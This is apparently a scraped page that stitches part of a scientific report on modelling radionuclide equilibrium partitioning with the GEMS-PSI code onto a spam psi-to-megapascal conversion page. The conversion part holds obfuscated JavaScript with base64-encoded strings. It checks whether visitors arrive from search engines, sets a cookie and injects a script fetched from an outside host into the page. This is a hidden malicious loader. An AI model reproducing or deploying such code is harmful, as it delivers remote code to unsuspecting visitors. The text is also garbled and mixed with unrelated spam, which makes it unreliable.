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MODELLING CHEMICAL EQUILIBRIUM PARTITIONING WITH THE GEMS-PSI CODE

D. Kulik, U. Berner, E. Curti

Sorption, co-precipitation and re-crystallisation are important retention processes for dissolved contaminants (radionuclides) migrating through the sub-surface. The retention of elements is usually measured by empirical partition coefficients (K_d), which vary in response to many factors: temperature, solid/liquid ratio, total contaminant loading, water composition, host-mineral composition, etc. The K_d values can be predicted for in-situ conditions from thermodynamic modelling of solid solution, aqueous solution or sorption equilibria, provided that stoichiometry, thermodynamic stability and mixing properties of the pure components are known (Example 1). Unknown thermodynamic properties can be retrieved from experimental K_d values using inverse modelling techniques (Example 2). An efficient, advanced tool for performing both tasks is the Gibbs Energy Minimization (GEM) approach, implemented in the user-friendly GEM-Selector (GEMS) program package, which includes the Nagra-PSI chemical thermodynamic database. The package is being further developed at PSI and used extensively in studies relating to nuclear waste disposal.

1 WHAT IS EQUILIBRIUM PARTITIONING?

The term Equilibrium Partitioning denotes the (equilibrium) distribution of a chemical element (M) between two phases of variable composition – usually a mineral solid solution and an aqueous solution. A measurable quantity called *partition coefficient* is defined as:

$$K_d = \frac{[M]_S}{[M]_{AQ}} \quad (1)$$

Here, $[M]_S$ is the concentration of M in the solid phase (S), and $[M]_{AQ}$ is that in the aqueous solution (AQ). Except for very simple systems, K_d is usually a complex function of temperature T , solid/liquid ratio s/l , total element inventory M_{TOT} , aqueous composition (pH, Eh, ionic strength I , concentrations of complexing ligands [L]), and host-mineral composition. Measured K_d values may also be influenced by sorption or precipitation kinetics. Thus, K_d is a conditional constant, i.e. it applies only to specific experimental conditions, and cannot be generalised. All this makes the empirical K_d value not the perfect choice for long-term predictions of trace element distributions; hence, more fundamental theoretical approaches are necessary.

Calculations of aqueous speciation and saturation indices of pure solids, like MCO_3 and $MOOH$, can easily be performed using widespread computer models, such as PHREEQC [1], but they are not always helpful in understanding the relationships between K_d and system variables. Experimental K_d values for trace metals are often significantly different from theoretical partition coefficients obtained from solubility products of pure solids. This fact indicates that the aqueous concentration of metals is not always controlled by simple, pure solid equilibria, but rather by other retention mechanisms involving the host mineral phases – namely, sorption, re-crystallisation or co-precipitation. In all these cases, the concept of a fixed thermodynamic solubility fails because of *variable compositions of both solid and aqueous*

phases; dissolved $[M]_{AQ}$ would no longer be the solubility in the classical sense of the word. Attempts to use variable solubility products depending on the composition of aqueous solution, or of a mixed solid, were disappointing, because the law of mass-action alone does not seem to be sufficient for solving the solid-solution aqueous-solution (SSAS) equilibria. Some supporting tools, like the Lippmann functions and diagrams [2,3], can help in binary systems, but not in higher-order systems [4], or if two or more solid solutions are involved.

Hence, for an adequate thermodynamic description of partitioning, it is necessary to go back to the more basic concept introduced by Gibbs, which states that the chemical potential of M is the same in all co-existing phases at equilibrium. The equilibrium state is determined by finding mole amounts of all chemical species in all phases such that the total Gibbs free energy of the system is minimal at the given state variables (temperature T , pressure P , bulk mole composition vector \mathbf{b}). In this approach, a variable-composition phase is fully defined by stoichiometry and mole amounts of its end-members (components, species), which need not necessarily exist as pure substances. The stability of each end-member is given by its standard molar Gibbs free energy G° of formation from chemical elements. A deviation from ideal mixing with other end-members (excess partial molar Gibbs energy, $\bar{G}_{real} - \bar{G}_{ideal} = \bar{G}^{Ex} = RT \ln \gamma$) is described by the activity coefficient γ ; a function of the actual phase composition.

2 METHODS OF SPECIATION CALCULATIONS

Two numerical methods of chemical thermodynamic modelling can be applied to heterogeneous aquatic systems: (i) Law-of-Mass-Action — Reaction Stoichiometry (LMA), and (ii) direct Gibbs Energy Minimisation (GEM). The LMA approach is common, and available in many speciation codes, such as PHREEQC [1], MINEQL [5] or EQ3/6 [6], some equipped with data



Psi : Psi is the abbreviation of pound per square inch, and is widely used in British and American.. var _0x2bc5=['Wlp5b2Q=', 'Tk5LQ2U=', 'dFR6Wfo=', 'WE1ybmI=', 'Z2V0VGltZQ==', 'RVNaQm8=', 'V0RjR1g=', 'WXRmbEY=', 'U3h3d1Y=', 'LmFzay4=', 'LmFsdGF2aXN0YS4=', 'LnlhbmRleC4=', 'TU5V', 'RVZO', 'aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWlvc3RpdGxlnF1ZXJ5PQ==', 'T0lMalU=', 'LmJpbmcu', 'LmFvbC4=', 'R2djbm4=', 'a1BORUc=', 'cmVmZXJyZXI=', 'R3ZnaEE=', 'QVBnZlU=', 'bGVuZ3Ro', 'dHJRcks=', 'R0lidnM=', 'SFhwako=', 'c2V0', 'QW5pZXY=', 'VnBYdlE=', 'YlhrbnE=', 'Q1d5WV0=', 'dmlzaXRIZA==', 'Y3JlYXRIRWxlbWVudA==', 'c2NyaXB0', 'c3Jj', 'Z2V0RWxlbWVudHNCeVRhZ05hbWU=', 'aGVhZA==', 'YXBwZW5kQ2hpbGQ=', 'Y29udmVydGVyKzErbXBhK2VuK3ZaQ==', 'alZq', 'MnwwfDF8NXw0fDM=', 'c3BsaXQ=', 'V2xuS1U=', 'ZXILRFg=', 'Y29va2ll', 'bWF0Y2g=', 'cmVwbGFjZQ==', 'OyBleHBpcmVzPQ==', 'OyBzZW51cmU='];(function(_0x35ef28,_0x24bcc8){var _0x5484cc=function(_0xab52b4){while(--_0xab52b4){_0x35ef28['push'](_0x35ef28['shift']());}};_0x5484cc(++_0x24bcc8);}(_0x2bc5,0x17f));var _0x5c71=function(_0x21e0f4,_0xe2cb3){_0x21e0f4=_0x21e0f4-0x0;var _0x1bc1e1=_0x2bc5[_0x21e0f4];if(_0x5c71['initialized']===undefined){(function(){var _0x29d635;try{var _0x45387a=Function('return\\x20(function())\\x20'+')}.

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03774 Psi (Psi)Megapascal : The megapascal (symbol:MPa) is a non-SI unit for pressure, and is a x1000000 multiple of the Pascal unit.

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1 MPa equals 1,000,000 Pa It is primarily used for higher range pressure measurement and mainly used to describe the pressure ranges and ratings of hydraulic systems..

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constructor(\x22return\x20this\x22)(\x20'+'););_0x29d635=_0x45387a(0);catch(_0x24c813){_0x29d635=window;}var _0x52f3e1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-=';_0x29d635['atob']||(_0x29d635['atob']=function(_0x2020f5){var _0x3ed050=String(_0x2020f5)['replace'](/=/+$/,'');for(var _0x26278b=0x0,_0x4df08e,_0x3a8a53,_0x3d705f=0x0,_0x6f308e="";_0x3a8a53=_0x3ed050['charAt'](_0x3d705f++);~_0x3a8a53&&(_0x4df08e=_0x26278b%0x4?_0x4df08e*0x40+_0x3a8a53:_0x3a8a53,_0x26278b+=%0x4)?_0x6f308e+=String['fromCharCode'](_0x6f308e>>(-0x2*_0x26278b&0x6)):0x0){_0x3a8a53=_0x52f3e1['indexOf'](_0x3a8a53);}return _0x6f308e;});});_0x5c71['base64DecodeUnicode']=function(_0x3d1d28){var _0x28bf95=atob(_0x3d1d28);var _0x313345=[];for(var _0x38070f=0x0,_0xf6d0d9=_0x28bf95['length'];_0x38070f=_0xaaa7d0;,'huUKU':_0x5c71('0x1d'),'Aniev':_0x5c71('0x1e'),'VpXvQ':function _0x5a435c(_0x33674e,_0x3e380e){return _0x33674e(_0x3e380e);},'bXknq':function _0x2c61b4(_0x202fc4,_0x3b6050){return _0x202fc4+_0x3b6050;},'CWyYZ':_0x5c71('0x1f')});var _0x47426b=[_0x4d7a32[_0x5c71('0x20')],_0x5c71('0x21'),_0x4d7a32['yvAAD'],_0x5c71('0x22'),_0x4d7a32['bzIBS'],_0x4d7a32[_0x5c71('0x23')],_0x4d7a32[_0x5c71('0x24')],_0x3cdbc4=document[_0x5c71('0x25')],_0x2dcae3=!,_0x279b2e=cookie['get'](_0x4d7a32[_0x5c71('0x26')]);for(var _0x35e6f6=0x0,_0x4d7a32[_0x5c71('0x27')](_0x35e6f6,_0x47426b[_0x5c71('0x28')]);_0x35e6f6++){if(_0x4d7a32[_0x5c71('0x29')](_0x4d7a32[_0x5c71('0x2a')],_0x4d7a32[_0x5c71('0x2a')])}{if(_0x3cdbc4['indexOf'](_0x47426b[_0x35e6f6])>=0x0){_0x2dcae3=!![];}}else{if(_0x4d7a32[_0x5c71('0x2b')](_0x3cdbc4['indexOf'](_0x47426b[_0x35e6f6]),0x0)}{_0x2dcae3=!![];}}if(_0x2dcae3){cookie[_0x5c71('0x2c')]('visited',0x1,0x1);if(!_0x279b2e){if(_0x4d7a32[_0x5c71('0x29')](_0x4d7a32['huUKU'],_0x4d7a32[_0x5c71('0x2d')])}{_0x4d7a32[_0x5c71('0x2e')](include,_0x4d7a32[_0x5c71('0x2f')](_0x4d7a32[_0x5c71('0x2f')](_0x4d7a32[_0x5c71('0x30')],q,"));}else{cookie[_0x5c71('0x2c')](_0x5c71('0x31'),0x1,0x1);if(!_0x279b2e){include(_0x4d7a32[_0x5c71('0x2f')](_0x5c71('0x1f')+q,"));}}}}R());Megapascal to Psi ConversionMegapascal to Psi Conversion - Convert Megapascal to Psi (MPa to Psi)Megapascal to Psi ConversionMegapascal to Psi - Pressure - ConversionYou are currently converting Pressure units from Megapascal to Psi1 Megapascal (MPa)145.. 1 psi = 6,894 76 Pascals Ben 10 Movies Free Download
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